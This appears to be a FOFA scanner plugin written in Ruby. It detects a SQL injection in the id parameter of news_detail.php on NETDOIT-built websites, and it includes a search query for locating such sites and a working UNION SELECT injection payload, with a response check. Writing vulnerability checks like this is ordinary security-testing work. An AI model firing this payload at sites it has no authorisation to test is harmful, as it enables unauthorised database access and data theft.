NETDOIT_SQL_injection_Vulnerability.rb

require 'fofa_core'

class FofaExploits < Fofa::Exploit
  def get_info
    {
      "Name": "NETDOIT news_detail.php SQL注入漏洞",
      "Description": "NETDOIT搭建的网站中 news_detail.php这个页面 id参数存在SQL注入漏洞",
      "Author": "bibotaixsf@msn.cn",
      "Product": "NETDOIT",
      "Homepage": "http://web.net-doit.com/",
      "DisclosureDate": "2016-10-22",
      "FofaQuery":"body=\"POWER BY NETDOIT\"",
      "References":["https://cxsecurity.com/issue/WLB-2016100219"      ],
      "ScanSteps":[
        "OR",
        {
          "Request":
          {
            "method": "GET",
            "uri": "/news_detail.php?id=1+/*!50000union*/+select+md5(12345),2",
          },
          "ResponseTest":
          {
            "type": "group",
            "operation": "AND",
            "checks": [
              {
                "type": "item",
                "variable": "$body",
                "operation": "contains",
                "value": "827ccb0eea8a706c4c34a16891f84e7b"
              }
            ]
          }
        },
        {
          "Request":
          {
            "method": "GET",
            "uri": "/news_detail.php?id=1+/*!50000union*/+select+md5(12345),2,3",
          },
          "ResponseTest":
          {
            "type": "group",
            "operation": "AND",
            "checks": [
              {
                "type": "item",
                "variable": "$body",
                "operation": "contains",
                "value": "200"
              }
            ]
          }
        }
      ]
    }
  end


  def initialize(info = {})
    super( info.merge(get_info()) )
  end

  def vulnerable(hostinfo)
    excute_scansteps(hostinfo) if @info['ScanSteps']
  end

  def exploit(hostinfo)
  end
end